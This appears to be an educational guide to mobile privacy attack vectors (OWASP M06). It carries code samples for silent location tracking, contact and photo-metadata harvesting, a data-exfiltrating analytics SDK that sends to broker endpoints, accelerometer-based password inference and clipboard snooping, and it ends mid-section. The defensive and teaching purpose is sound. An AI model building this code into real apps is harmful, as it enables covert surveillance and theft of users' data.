M06: Inadequate Privacy Controls - Attack Vectors
Table of Contents
- Introduction
- Attack Methodology Overview
- Permission Abuse Attacks
- Background Data Collection
- Location Tracking Exploitation
- PII Extraction Methods
- Contact and Photo Access Abuse
- Third-Party SDK Exploitation
- Sensor Data Harvesting
- Clipboard and Pasteboard Attacks
- Detection and Forensics
- Real-World Attack Examples
---
Introduction
Unlike traditional attack vectors where external adversaries exploit vulnerabilities, inadequate privacy controls create a scenario where the application itself becomes the threat actor. These attacks don't require exploiting bugs or bypassing security measures—they abuse legitimate functionality to violate user privacy.
This document outlines how malicious or negligent developers leverage insufficient privacy controls to:
- Collect excessive user data beyond app functionality
- Track users continuously without their knowledge
- Extract personally identifiable information (PII)
- Monetize user data through third-party sharing
- Build comprehensive surveillance profiles
Understanding these attack vectors is crucial for:
- Developers: Recognizing privacy anti-patterns
- Security Auditors: Identifying privacy violations
- Users: Understanding privacy risks in mobile apps
- Regulators: Enforcing privacy compliance
---
Attack Methodology Overview
The Privacy Attack Lifecycle
``
Phase 1: Permission Acquisition
├─ Request excessive permissions
├─ Use dark patterns to coerce consent
├─ Bundle permissions to hide individual requests
└─ Exploit permission confusion
Phase 2: Data Collection
├─ Collect more data than disclosed
├─ Background harvesting
├─ Sensor data aggregation
└─ Third-party SDK instrumentation
Phase 3: Data Aggregation
├─ Cross-reference multiple data sources
├─ Build user profiles
├─ De-anonymize "anonymous" data
└─ Link across devices/accounts
Phase 4: Data Exploitation
├─ Behavioral profiling
├─ Targeted manipulation
├─ Data broker sales
├─ Surveillance and tracking
└─ Competitive intelligence
Phase 5: Concealment
├─ Obfuscated data transmission
├─ Encryption to hide payloads
├─ Delayed transmission
└─ Attribution laundering
`
Attacker Profiles
1. Malicious App Developer
`yaml
Goal: Monetize user data
Methods:
- Excessive data collection
- Third-party data sales
- Advertising profile building
Sophistication: Medium
Detection: Privacy analysis, network monitoring
`
2. Advertising/Analytics SDK
`yaml
Goal: Cross-app user profiling
Methods:
- Device fingerprinting
- Persistent identifiers
- Behavioral tracking
Sophistication: High
Detection: Difficult (legitimate functionality)
`
3. State Surveillance
`yaml
Goal: Mass surveillance
Methods:
- Mandatory backdoors in apps
- Compelled data sharing
- Location tracking infrastructure
Sophistication: Very High
Detection: Very Difficult (legal compliance)
`
4. Data Broker
`yaml
Goal: Aggregate and sell user data
Methods:
- SDK integration
- Data purchase agreements
- Cross-source correlation
Sophistication: High
Detection: Requires supply chain analysis
`
---
Permission Abuse Attacks
Attack 1: Permission Bundling
Technique: Request multiple permissions simultaneously to overwhelm users.
`kotlin
// ATTACK: Bundle all permissions at once
val permissions = arrayOf(
Manifest.permission.CAMERA,
Manifest.permission.RECORD_AUDIO,
Manifest.permission.ACCESS_FINE_LOCATION,
Manifest.permission.ACCESS_BACKGROUND_LOCATION,
Manifest.permission.READ_CONTACTS,
Manifest.permission.READ_PHONE_STATE,
Manifest.permission.READ_SMS,
Manifest.permission.WRITE_EXTERNAL_STORAGE,
Manifest.permission.READ_CALENDAR,
Manifest.permission.BODY_SENSORS
)
// Request all at app startup
ActivityCompat.requestPermissions(this, permissions, REQUEST_CODE)
`
Impact:
- Users grant without reading each permission
- No context for why each permission is needed
- Accept rate increases when bundled (dark pattern)
Detection:
`bash
Android: Check manifest for excessive permissions
adb shell dumpsys package | grep permission
`
---
Attack 2: Deceptive Permission Justification
Technique: Misleading explanations for permission requests.
`swift
// ATTACK: Misleading purpose string
NSLocationAlwaysAndWhenInUseUsageDescription
We use your location to enhance your experience
NSContactsUsageDescription
Connect with friends
`
Actual Behavior:
`swift
// What the app actually does
func collectAllContacts() {
let store = CNContactStore()
let keys = [CNContactGivenNameKey, CNContactPhoneNumbersKey,
CNContactEmailAddressesKey] as [CNKeyDescriptor]
let request = CNContactFetchRequest(keysToFetch: keys)
try? store.enumerateContacts(with: request) { contact, _ in
// Upload ALL contacts to server
uploadToServer(contact)
}
}
`
---
Attack 3: Permission Escalation
Technique: Start with minimal permissions, gradually request more.
`kotlin
// ATTACK: Gradual permission escalation
// Week 1: Location "When in Use"
requestPermission(ACCESS_COARSE_LOCATION)
// Week 2: Upgrade to Fine Location
requestPermission(ACCESS_FINE_LOCATION)
// Week 3: Request Background Location (now users trust the app)
requestPermission(ACCESS_BACKGROUND_LOCATION)
// Week 4: Add sensors and contacts
requestPermission(BODY_SENSORS)
requestPermission(READ_CONTACTS)
`
Why It Works:
- Users already invested in the app
- Prior permissions create trust
- Incremental requests seem reasonable
---
Attack 4: Forced Consent
Technique: App refuses to function without unnecessary permissions.
`java
// ATTACK: Gate core functionality behind unrelated permissions
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (!hasContactsPermission()) {
// Block entire app for unrelated permission
showPermissionRequiredScreen();
return; // User can't use app without granting
}
// App for reading news - doesn't need contacts!
loadNewsContent();
}
`
GDPR Violation: Consent must be "freely given" - this is coercion.
---
Background Data Collection
Attack 5: Silent Location Tracking
Technique: Continuous location tracking without user awareness.
`kotlin
// ATTACK: Aggressive background location tracking
class LocationTrackingService : Service() {
private val locationRequest = LocationRequest.create().apply {
interval = 60000 // Every 1 minute
fastestInterval = 30000 // As often as 30 seconds
priority = LocationRequest.PRIORITY_HIGH_ACCURACY
maxWaitTime = 120000
}
override fun onCreate() {
super.onCreate()
// Start foreground service to avoid restrictions
startForeground(NOTIFICATION_ID, buildNotification())
// Continuous tracking
fusedLocationClient.requestLocationUpdates(
locationRequest,
locationCallback,
Looper.getMainLooper()
)
}
private val locationCallback = object : LocationCallback() {
override fun onLocationResult(result: LocationResult) {
result.locations.forEach { location ->
// Send to server immediately
sendLocationToServer(
latitude = location.latitude,
longitude = location.longitude,
accuracy = location.accuracy,
timestamp = location.time,
speed = location.speed,
bearing = location.bearing
)
}
}
}
}
`
Attack Enhancements:
`kotlin
// Persist across reboots
class BootReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
if (intent.action == Intent.ACTION_BOOT_COMPLETED) {
// Restart tracking service
context.startService(Intent(context, LocationTrackingService::class.java))
}
}
}
`
Data Exfiltration:
`json
// Payload sent every minute
{
"device_id": "persistent_identifier",
"timestamp": "2024-01-15T14:32:15Z",
"latitude": 37.7749,
"longitude": -122.4194,
"accuracy": 5.0,
"speed": 12.5,
"bearing": 180.0,
"app_state": "background",
"battery_level": 67,
"network_type": "wifi"
}
`
Privacy Impact:
- Complete movement history
- Home/work locations revealed
- Medical appointments, places of worship, political events
- Patterns reveal identity even without name
---
Attack 6: Background Sensor Monitoring
Technique: Harvest accelerometer, gyroscope data in background.
`swift
// ATTACK: Background motion data collection
class MotionDataCollector {
let motionManager = CMMotionManager()
var activityManager = CMMotionActivityManager()
func startBackgroundCollection() {
// Accelerometer data (no permission required!)
motionManager.accelerometerUpdateInterval = 0.1 // 10 Hz
motionManager.startAccelerometerUpdates(to: .main) { data, error in
if let data = data {
self.processMotionData(data)
}
}
// Activity recognition
activityManager.startActivityUpdates(to: .main) { activity in
// Infer: walking, running, driving, stationary
self.inferActivity(activity)
}
// Pedometer (step count)
let pedometer = CMPedometer()
pedometer.startUpdates(from: Date()) { data, error in
// Track daily movement patterns
self.trackStepCount(data)
}
}
func processMotionData(_ data: CMAccelerometerData) {
let payload = [
"timestamp": Date().timeIntervalSince1970,
"x": data.acceleration.x,
"y": data.acceleration.y,
"z": data.acceleration.z
]
// Send to analytics server
sendToServer(payload)
}
}
`
What Can Be Inferred:
`yaml
From Motion Data:
- Activity: Walking, running, cycling, driving
- Location context: Gym, office (sitting), commute
- Health patterns: Exercise frequency, gait analysis
- Behavioral routine: Wake/sleep times, activity patterns
- Age/fitness estimation: Movement speed, intensity
Advanced Analysis:
- Keystroke patterns (unique identifier)
- Tremor detection (health conditions)
- Stress levels (movement intensity)
`
---
Attack 7: WiFi and Bluetooth Scanning
Technique: Create location fingerprint from nearby networks.
`java
// ATTACK: WiFi geolocation without GPS permission
// Android 10+ requires location permission, but many apps still do this
WifiManager wifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);
List scanResults = wifiManager.getScanResults();
JSONArray wifiFingerprint = new JSONArray();
for (ScanResult result : scanResults) {
JSONObject network = new JSONObject();
network.put("bssid", result.BSSID); // MAC address
network.put("ssid", result.SSID); // Network name
network.put("level", result.level); // Signal strength
network.put("frequency", result.frequency);
wifiFingerprint.put(network);
}
// Send to geolocation database
// Reveals location without GPS permission
sendToGeolocationService(wifiFingerprint);
`
Bluetooth Beacon Scanning:
`swift
// ATTACK: Indoor location tracking via Bluetooth beacons
import CoreBluetooth
class BeaconScanner: NSObject, CBCentralManagerDelegate {
var centralManager: CBCentralManager!
func startScanning() {
centralManager = CBCentralManager(delegate: self, queue: nil)
}
func centralManager(_ central: CBCentralManager,
didDiscover peripheral: CBPeripheral,
advertisementData: [String : Any],
rssi RSSI: NSNumber) {
// Collect all Bluetooth devices
let beacon = [
"uuid": peripheral.identifier.uuidString,
"name": peripheral.name ?? "Unknown",
"rssi": RSSI,
"timestamp": Date().timeIntervalSince1970
]
// Send for indoor positioning
sendBeaconData(beacon)
}
}
`
Geolocation Database Attack:
`
Step 1: Collect WiFi BSSIDs + GPS coordinates (crowdsourced)
Step 2: Build database: BSSID → Location
Step 3: Any app can query: BSSIDs → Get approximate location
Result: Location tracking without location permission
`
---
Location Tracking Exploitation
Attack 8: Location History Aggregation
Technique: Store and analyze complete location history.
`python
ATTACK: Server-side location history analysis
Backend receiving location data from mobile app
class LocationAnalytics:
def analyze_user_patterns(self, user_id):
locations = db.query("""
SELECT latitude, longitude, timestamp, accuracy
FROM location_tracking
WHERE user_id = ?
ORDER BY timestamp
""", user_id)
# Infer sensitive locations
home = self.infer_home_location(locations)
work = self.infer_work_location(locations)
# Identify places of interest
visited_places = self.cluster_frequent_locations(locations)
# Reverse geocode to identify sensitive locations
sensitive_locations = []
for place in visited_places:
poi = self.reverse_geocode(place.lat, place.lng)
if poi.category in ['medical', 'religious', 'political']:
sensitive_locations.append(poi)
# Build behavior profile
profile = {
'user_id': user_id,
'home_address': home,
'work_address': work,
'commute_pattern': self.analyze_commute(locations),
'frequently_visited': visited_places,
'sensitive_places': sensitive_locations,
'travel_history': self.extract_trips(locations),
'socioeconomic_indicators': self.infer_wealth(visited_places)
}
# Monetize: Sell to data brokers
self.send_to_data_broker(profile)
return profile
`
Location Inference Algorithms:
`python
def infer_home_location(self, locations):
"""Identify home: most common location during 10PM-6AM"""
night_locations = [
loc for loc in locations
if 22 <= loc.timestamp.hour or loc.timestamp.hour <= 6
]
# Cluster and find most frequent
clusters = DBSCAN(eps=0.0001, min_samples=5).fit(night_locations)
home_cluster = most_common_cluster(clusters)
# Reverse geocode to street address
return reverse_geocode(home_cluster.centroid)
def infer_socioeconomic_status(self, places):
"""Infer wealth from visited locations"""
indicators = {
'expensive_restaurants': 0,
'luxury_stores': 0,
'private_clubs': 0,
'wealthy_neighborhoods': 0
}
for place in places:
if place.price_range == 'expensive':
indicators['expensive_restaurants'] += 1
if place.type in ['luxury_retail', 'private_club']:
indicators['luxury_stores'] += 1
if place.neighborhood_median_income > 150000:
indicators['wealthy_neighborhoods'] += 1
return calculate_ses_score(indicators)
`
---
Attack 9: Location-Based Surveillance
Technique: Target tracking of specific individuals.
`javascript
// ATTACK: Geofence monitoring for surveillance
// Backend creates geofences around targets
class SurveillanceSystem {
createGeofence(targetLocation, radius, userId) {
const geofence = {
id: generateId(),
latitude: targetLocation.lat,
longitude: targetLocation.lng,
radius: radius, // meters
monitored_users: [userId],
created_at: Date.now()
};
// Store geofence
this.geofences.push(geofence);
// Monitor for entries/exits
this.startMonitoring(geofence);
}
checkLocationAgainstGeofences(userId, location) {
const userGeofences = this.geofences.filter(g =>
g.monitored_users.includes(userId)
);
for (const geofence of userGeofences) {
const distance = this.calculateDistance(
location.lat, location.lng,
geofence.latitude, geofence.longitude
);
if (distance <= geofence.radius) {
// Target entered monitored area
this.triggerAlert({
type: 'GEOFENCE_ENTRY',
user_id: userId,
geofence_id: geofence.id,
timestamp: Date.now(),
location: location
});
// Increase tracking frequency
this.requestHighFrequencyUpdates(userId);
}
}
}
// Create geofences around sensitive locations
surveilleUser(userId) {
const userLocations = this.getLocationHistory(userId);
// Identify and monitor their routine locations
const home = this.inferHome(userLocations);
const work = this.inferWork(userLocations);
this.createGeofence(home, 100, userId);
this.createGeofence(work, 100, userId);
// Monitor visits to specific categories
const placesOfInterest = [
'medical_facilities',
'places_of_worship',
'political_venues',
'legal_offices',
'competing_businesses'
];
for (const category of placesOfInterest) {
const locations = this.findNearbyPlaces(home, category);
locations.forEach(loc =>
this.createGeofence(loc, 50, userId)
);
}
}
}
`
Use Cases (Malicious):
- Stalking and harassment
- Competitive intelligence (track competitor employees)
- Political surveillance
- Divorce/custody cases (unauthorized tracking)
- Insurance fraud detection (without consent)
---
PII Extraction Methods
Attack 10: Log File PII Leakage
Technique: Logging sensitive user information.
`java
// ATTACK: Excessive logging with PII
public class UserAuthService {
private static final Logger log = Logger.getLogger(UserAuthService.class);
public User authenticate(String email, String password) {
// PII LEAKAGE: Email and password in logs
log.info("Authentication attempt for email: " + email);
log.debug("Password: " + password); // CRITICAL LEAK
User user = userRepository.findByEmail(email);
if (user != null) {
// PII LEAKAGE: Entire user object
log.info("User found: " + user.toString());
// toString() contains: name, email, address, phone, SSN, etc.
if (passwordHasher.verify(password, user.getPasswordHash())) {
String token = generateToken(user);
// PII LEAKAGE: Session token
log.info("Generated token for user " + user.getId() + ": " + token);
return user;
} else {
// PII LEAKAGE: Failed attempts reveal valid emails
log.warn("Invalid password for user: " + email);
}
}
return null;
}
public void updateProfile(User user, ProfileData data) {
// PII LEAKAGE: Complete profile in logs
log.info("Updating profile for " + user.getEmail() +
" with data: " + data.toJson());
// data.toJson() contains: DOB, SSN, address, phone, etc.
user.setName(data.getName());
user.setAddress(data.getAddress());
user.setPhone(data.getPhone());
user.setSsn(data.getSsn());
userRepository.save(user);
// PII LEAKAGE: Confirmation with full details
log.info("Profile updated successfully: " + user.toString());
}
}
`
Where Logs Go:
`yaml
Log Destinations (Privacy Risks):
- Local Device Storage: Accessible to other apps, backups
- Cloud Logging Services: Splunk, Datadog, CloudWatch (third parties)
- Crash Reporting: Crashlytics, Sentry (stack traces with PII)
- Analytics Platforms: Mixpanel, Amplitude (event properties)
- Developer Consoles: Visible to all team members
- Log Aggregation: Centralized, often unencrypted
`
---
Attack 11: Analytics PII Exposure
Technique: Send PII to analytics platforms.
`javascript
// ATTACK: Sending PII to analytics
class AnalyticsTracker {
trackUserAction(user, action) {
// PII LEAKAGE: User details in analytics
analytics.track(action, {
// Identifying information
user_id: user.id,
email: user.email, // PII
name: user.fullName, // PII
phone: user.phoneNumber, // PII
address: user.address, // PII
// Demographic PII
date_of_birth: user.dob, // PII
gender: user.gender,
ethnicity: user.ethnicity,
// Financial PII
income_range: user.income,
credit_score: user.creditScore,
// Health PII
health_conditions: user.healthData,
prescriptions: user.medications,
// Behavioral data
browsing_history: user.recentViews,
purchase_history: user.orders,
// Device identifiers
device_id: device.uniqueId,
advertising_id: device.advertisingId,
ip_address: device.ipAddress
});
}
trackScreenView(screenName, user) {
// PII in screen names
analytics.screen(
${screenName}_${user.email});
// Example: "checkout_john.doe@email.com"
}
trackError(error, user) {
// PII in error messages
analytics.trackError({
message: error.message,
stack: error.stack, // May contain PII in variables
user_email: user.email,
user_context: user.toJSON() // Complete user object
});
}
}
`
Third-Party Visibility:
`
Analytics Event Flow:
App → Analytics SDK → Third-Party Servers
↓
Data Processing
↓
┌──────────┴──────────┐
↓ ↓
Analytics Platform Data Brokers
↓ ↓
Dashboard Access Resold to:
(All employees) - Advertisers
- Insurance
- Employers
- Gov agencies
`
---
Attack 12: Crash Report PII Leakage
Technique: PII in crash reports and stack traces.
`kotlin
// ATTACK: PII in crash reporting
class PaymentProcessor {
fun processPayment(cardNumber: String, cvv: String, user: User) {
try {
// Process payment
val result = paymentGateway.charge(
cardNumber = cardNumber, // Sensitive!
cvv = cvv, // Sensitive!
amount = cart.total,
email = user.email // PII
)
logger.debug("Payment result: $result") // Contains card details!
} catch (e: Exception) {
// ATTACK: Crash report contains PII
Crashlytics.log("Payment failed for ${user.email}")
Crashlytics.setCustomKey("card_number", cardNumber) // PII LEAK!
Crashlytics.setCustomKey("cvv", cvv) // PII LEAK!
Crashlytics.setCustomKey("user_data", user.toString()) // PII LEAK!
// Stack trace may contain variable values
Crashlytics.recordException(e)
// Example stack trace:
// PaymentProcessor.processPayment(cardNumber="4532123412341234",
// cvv="123",
// user=User(email="victim@email.com"))
}
}
}
`
---
Contact and Photo Access Abuse
Attack 13: Contact List Harvesting
Technique: Upload entire contact list to server.
`swift
// ATTACK: Contact harvesting
import Contacts
class ContactHarvester {
func harvestAllContacts() {
let store = CNContactStore()
// Request access
store.requestAccess(for: .contacts) { granted, error in
if granted {
self.uploadAllContacts(store)
}
}
}
func uploadAllContacts(_ store: CNContactStore) {
let keys = [
CNContactGivenNameKey,
CNContactFamilyNameKey,
CNContactPhoneNumbersKey,
CNContactEmailAddressesKey,
CNContactPostalAddressesKey,
CNContactBirthdayKey,
CNContactOrganizationNameKey,
CNContactJobTitleKey,
CNContactSocialProfilesKey,
CNContactUrlAddressesKey,
CNContactNoteKey
] as [CNKeyDescriptor]
let fetchRequest = CNContactFetchRequest(keysToFetch: keys)
var allContacts: [[String: Any]] = []
try? store.enumerateContacts(with: fetchRequest) { contact, _ in
let contactData: [String: Any] = [
"first_name": contact.givenName,
"last_name": contact.familyName,
"phone_numbers": contact.phoneNumbers.map { $0.value.stringValue },
"emails": contact.emailAddresses.map { $0.value as String },
"addresses": contact.postalAddresses.map { self.formatAddress($0.value) },
"birthday": contact.birthday?.date?.description ?? "",
"company": contact.organizationName,
"job_title": contact.jobTitle,
"social_profiles": contact.socialProfiles.map {
["service": $0.value.service, "username": $0.value.username]
},
"websites": contact.urlAddresses.map { $0.value as String },
"notes": contact.note
]
allContacts.append(contactData)
}
// Upload everything to server
uploadToServer(allContacts)
}
func uploadToServer(_ contacts: [[String: Any]]) {
let payload = [
"device_id": UIDevice.current.identifierForVendor?.uuidString ?? "",
"user_id": currentUserId,
"contacts": contacts,
"timestamp": Date().timeIntervalSince1970,
"contact_count": contacts.count
]
// Send to social graph building service
API.post("/api/contacts/upload", json: payload)
// Also send to third-party data enrichment service
DataBroker.enrichContactData(contacts)
}
}
`
Privacy Violations:
`yaml
Issues:
- Non-users exposed: People who never agreed to terms
- Relationship graph: Who knows whom
- Personal information: Leaked without consent
- Permanent storage: Can't be deleted by contact owners
- Cross-referencing: Build shadow profiles
- Third-party sharing: Contacts sold to data brokers
Example Impact:
User A has 500 contacts
× Each contact has 500 contacts
× 6 degrees of separation
= Potential to map millions of people who never used the app
`
---
Attack 14: Photo Metadata Extraction
Technique: Extract location and metadata from photos.
`java
// ATTACK: Photo EXIF data extraction
public class PhotoAnalyzer {
public void analyzeUserPhotos() {
// Get all photos from user's library
Cursor cursor = getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
new String[]{MediaStore.Images.Media.DATA},
null, null, null
);
List photoData = new ArrayList<>();
while (cursor.moveToNext()) {
String imagePath = cursor.getString(0);
PhotoMetadata metadata = extractEXIF(imagePath);
photoData.add(metadata);
}
// Analyze and upload
analyzeAndUpload(photoData);
}
private PhotoMetadata extractEXIF(String imagePath) {
try {
ExifInterface exif = new ExifInterface(imagePath);
PhotoMetadata metadata = new PhotoMetadata();
// Location data
float[] latLong = new float[2];
if (exif.getLatLong(latLong)) {
metadata.latitude = latLong[0];
metadata.longitude = latLong[1];
}
// Device information
metadata.cameraMake = exif.getAttribute(ExifInterface.TAG_MAKE);
metadata.cameraModel = exif.getAttribute(ExifInterface.TAG_MODEL);
metadata.software = exif.getAttribute(ExifInterface.TAG_SOFTWARE);
// Timestamp
metadata.dateTaken = exif.getAttribute(ExifInterface.TAG_DATETIME);
// Technical details (can fingerprint device)
metadata.focalLength = exif.getAttribute(ExifInterface.TAG_FOCAL_LENGTH);
metadata.iso = exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS);
metadata.imageWidth = exif.getAttributeInt(ExifInterface.TAG_IMAGE_WIDTH, 0);
metadata.imageHeight = exif.getAttributeInt(ExifInterface.TAG_IMAGE_LENGTH, 0);
// Face detection (if available)
metadata.faceCount = detectFaces(imagePath);
return metadata;
} catch (IOException e) {
return null;
}
}
private void analyzeAndUpload(List photoData) {
// Build location history from photos
List photoLocations = new ArrayList<>();
for (PhotoMetadata photo : photoData) {
if (photo.latitude != 0 && photo.longitude != 0) {
photoLocations.add(new Location(
photo.latitude,
photo.longitude,
photo.dateTaken
));
}
}
// Infer patterns
Map analysis = new HashMap<>();
analysis.put("home_location", inferHomeFromPhotos(photoLocations));
analysis.put("travel_history", extractTravelHistory(photoLocations));
analysis.put("frequent_locations", clusterLocations(photoLocations));
analysis.put("device_fingerprint", createDeviceFingerprint(photoData));
analysis.put("photo_count", photoData.size());
analysis.put("people_identified", countUniqueFaces(photoData));
// Upload to server
uploadAnalysis(analysis);
}
}
`
What Can Be Extracted:
`yaml
From Photo EXIF Data:
Location:
- GPS coordinates (precise to meters)
- Location history (from photo timestamps)
- Home/travel locations
- Vacation patterns
Device Information:
- Camera make/model
- Software version
- Device fingerprinting
- Ownership timeline
Temporal Patterns:
- Sleep schedule (no photos during sleep)
- Activity patterns
- Event attendance
Social Information:
- Face recognition (who you're with)
- Social network mapping
- Relationship analysis
Lifestyle:
- Travel frequency
- Socioeconomic status (from locations)
- Hobbies and interests
`
---
Third-Party SDK Exploitation
Attack 15: SDK Data Exfiltration
Technique: Third-party SDKs silently collect and transmit data.
`kotlin
// ATTACK: Malicious analytics SDK
// What the SDK documentation says:
// "Simple analytics to track app usage"
// What it actually does:
class AnalyticsSDK private constructor() {
companion object {
fun initialize(context: Context, apiKey: String) {
// Start background data collection
startDataHarvesting(context)
}
}
private fun startDataHarvesting(context: Context) {
// Collect device information
val deviceData = collectDeviceInfo(context)
// Collect installed apps
val installedApps = collectInstalledApps(context)
// Collect location (if permission granted to host app)
val location = collectLocation(context)
// Collect contacts (if permission granted to host app)
val contacts = collectContacts(context)
// Collect WiFi networks
val wifiNetworks = collectWifiNetworks(context)
// Collect clipboard
val clipboard = collectClipboard(context)
// Generate persistent identifier
val persistentId = generatePersistentId(context)
// Collect advertising ID
val advertisingId = getAdvertisingId(context)
// Bundle everything
val payload = bundleData(
deviceData, installedApps, location, contacts,
wifiNetworks, clipboard, persistentId, advertisingId
)
// Obfuscate and encrypt to hide from network analysis
val encrypted = encryptPayload(payload)
// Send to multiple endpoints for redundancy
sendToServer(encrypted, "https://analytics.example.com/collect")
sendToServer(encrypted, "https://backup.example.net/data")
// Send to data broker partners
sendToDataBrokers(payload)
// Schedule periodic collection
schedulePeriodicHarvesting(context)
}
private fun collectInstalledApps(context: Context): List {
val packageManager = context.packageManager
val apps = packageManager.getInstalledApplications(PackageManager.GET_META_DATA)
return apps.map { it.packageName }
// Reveals: Banking apps, health apps, dating apps, VPN usage, etc.
}
private fun generatePersistentId(context: Context): String {
// Create identifier that persists across app uninstalls
val androidId = Settings.Secure.getString(
context.contentResolver,
Settings.Secure.ANDROID_ID
)
val buildInfo = Build.MANUFACTURER + Build.MODEL + Build.SERIAL
// Hash to create unique, persistent identifier
return hashString(androidId + buildInfo)
}
private fun sendToDataBrokers(data: Map) {
// Sell user data to multiple data brokers
val brokers = listOf(
"https://databroker1.com/buy",
"https://databroker2.com/ingest",
"https://advertiser-data.com/users"
)
brokers.forEach { endpoint ->
HTTP.post(endpoint, data)
}
}
}
`
Host App Integration (Appears Innocent):
`kotlin
// App developer thinks they're just adding analytics
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Innocent-looking SDK initialization
AnalyticsSDK.initialize(this, "api_key_123")
// Developer is unaware of data harvesting happening in background
}
}
`
Network Traffic (Obfuscated):
`json
// Actual payload (encrypted and obfuscated in transit):
{
"uid": "a3f9c8e1d4b2c5a9", // Persistent ID
"aid": "e7d9c4a2-b8f3-4e1c-9a7d-3c5e8f2a1b9d", // Advertising ID
"dev": {
"make": "Samsung",
"model": "SM-G991U",
"os": "Android 13",
"carrier": "Verizon",
"ip": "192.168.1.100"
},
"loc": {"lat": 37.7749, "lng": -122.4194},
"apps": [
"com.chase.bank",
"com.tinder",
"com.nordvpn",
"com.myfitnesspal"
],
"contacts": 342,
"wifi": ["HomeNetwork", "OfficeWiFi"],
"clip": "password123" // Clipboard content
}
`
---
Sensor Data Harvesting
Attack 16: Keystroke Inference from Motion
Technique: Use accelerometer data to infer typed passwords.
`python
ATTACK: Server-side keystroke inference from motion data
import numpy as np
from sklearn.ensemble import RandomForestClassifier
class KeystrokeInferenceAttack:
"""
Infer typed keys from accelerometer data
Research: "Tapprints" attack - 70%+ accuracy
"""
def __init__(self):
self.model = self.train_keystroke_model()
def analyze_motion_data(self, accelerometer_data, gyroscope_data):
"""
Accelerometer data reveals phone movements during typing
Different keys cause different vibration patterns
"""
# Segment data into individual keypress windows
keypresses = self.segment_keypresses(accelerometer_data)
# Extract features for each keypress
features = []
for keypress in keypresses:
feature_vector = self.extract_features(keypress)
features.append(feature_vector)
# Infer keys using trained model
predicted_keys = self.model.predict(features)
# Reconstruct typed text
reconstructed_text = ''.join(predicted_keys)
return reconstructed_text
def extract_features(self, motion_window):
"""Extract identifying features from motion data"""
return {
'mean_x': np.mean(motion_window['x']),
'mean_y': np.mean(motion_window['y']),
'mean_z': np.mean(motion_window['z']),
'std_x': np.std(motion_window['x']),
'std_y': np.std(motion_window['y']),
'std_z': np.std(motion_window['z']),
'peak_magnitude': np.max(motion_window['magnitude']),
'frequency_components': self.fft_features(motion_window)
}
def infer_password(self, user_id, typing_session):
"""
Infer password from typing patterns during login
"""
motion_data = self.get_motion_data(user_id, typing_session)
# Keystroke inference
inferred_keys = self.analyze_motion_data(
motion_data['accelerometer'],
motion_data['gyroscope']
)
# Identify password input (typically 8-20 chars, followed by enter)
potential_passwords = self.identify_password_patterns(inferred_keys)
return potential_passwords
Example attack scenario
def attack_scenario():
"""
- User grants app permission to sensors (no permission required!)
- App collects motion data in background
- User types password in banking app
- Malicious app records accelerometer during typing
- Server-side ML model infers password
- Attacker has user's banking password
"""
pass
`
---
Attack 17: Health Data Inference
Technique: Infer health conditions from motion patterns.
`swift
// ATTACK: Health inference from motion sensors
import CoreMotion
class HealthInferenceEngine {
let motionManager = CMMotionManager()
let pedometer = CMPedometer()
func startHealthProfiling() {
// Collect motion data
collectGaitPattern()
collectActivityLevels()
collectSleepPatterns()
}
func collectGaitPattern() {
// Analyze walking pattern
motionManager.startDeviceMotionUpdates(to: .main) { motion, error in
guard let motion = motion else { return }
let gaitFeatures = self.analyzeGait(
acceleration: motion.userAcceleration,
rotation: motion.rotationRate,
attitude: motion.attitude
)
// Send for health inference
self.inferHealthConditions(gaitFeatures)
}
}
func analyzeGait(_ acceleration: CMAcceleration,
rotation: CMRotationRate,
attitude: CMAttitude) -> [String: Any] {
return [
"step_regularity": calculateStepRegularity(),
"gait_speed": calculateGaitSpeed(),
"stride_length": calculateStrideLength(),
"balance_metric": calculateBalance(),
"tremor_detected": detectTremor(rotation),
"asymmetry": detectGaitAsymmetry()
]
}
func inferHealthConditions(_ gaitFeatures: [String: Any]) {
var conditions: [String] = []
// Parkinson's disease indicators
if gaitFeatures["tremor_detected"] as! Bool &&
gaitFeatures["gait_speed"] as! Double < 1.0 {
conditions.append("Possible Parkinson's disease")
}
// Arthritis indicators
if gaitFeatures["asymmetry"] as! Double > 0.3 {
conditions.append("Possible arthritis or injury")
}
// Cardiovascular health
if gaitFeatures["step_regularity"] as! Double < 0.6 {
conditions.append("Poor cardiovascular fitness")
}
// Age estimation
let estimatedAge = self.estimateAgeFromGait(gaitFeatures)
// Send to insurance/advertising partners
let healthProfile = [
"user_id": getCurrentUserId(),
"inferred_conditions": conditions,
"estimated_age": estimatedAge,
"fitness_level": classifyFitnessLevel(gaitFeatures),
"fall_risk": calculateFallRisk(gaitFeatures)
]
// Monetize health data
sendToInsuranceDataBroker(healthProfile)
sendToHealthAdvertisers(healthProfile)
}
}
`
Privacy Impact:
`yaml
Health Data Monetization:
Insurance Companies:
- Deny coverage based on inferred conditions
- Increase premiums for high-risk individuals
- Reject claims ("pre-existing condition")
Employers:
- Hiring discrimination
- Termination based on health status
- Avoid ADA accommodations
Advertisers:
- Target health anxiety
- Exploit vulnerable conditions
- Price discrimination
`
---
Clipboard and Pasteboard Attacks
Attack 18: Clipboard Snooping
Technique: Read clipboard for sensitive data.
`swift
// ATTACK: iOS clipboard monitoring (pre-iOS 14)
class ClipboardMonitor {
var timer: Timer?
var lastChangeCount = 0
func startMonitoring() {
// Check clipboard every 0.5 seconds
timer = Timer.scheduledTimer(withTimeInterval: 0.5, repeats: true) { _ in
self.checkClipboard()
}
}
func checkClipboard() {
let pasteboard = UIPasteboard.general
// Detect if clipboard changed
if pasteboard.changeCount != lastChangeCount {
lastChangeCount = pasteboard.changeCount
// Read clipboard content
if let string = pasteboard.string {
analyzeClipboardContent(string)
}
// Can also access images, URLs, etc.
if let image = pasteboard.image {
extractImageData(image)
}
if let url = pasteboard.url {
trackURL(url)
}
}
}
func analyzeClipboardContent(_ content: String) {
var dataType = "unknown"
var sensitive = false
// Detect sensitive data patterns
if isPassword(content) {
dataType = "password"
sensitive = true
} else if isCreditCard(content) {
dataType = "credit_card"
sensitive = true
} else if isEmail(content) {
dataType = "email"
sensitive = true
} else if isPhoneNumber(content) {
dataType = "phone"
sensitive = true
} else if isAddress(content) {
dataType = "address"
sensitive = true
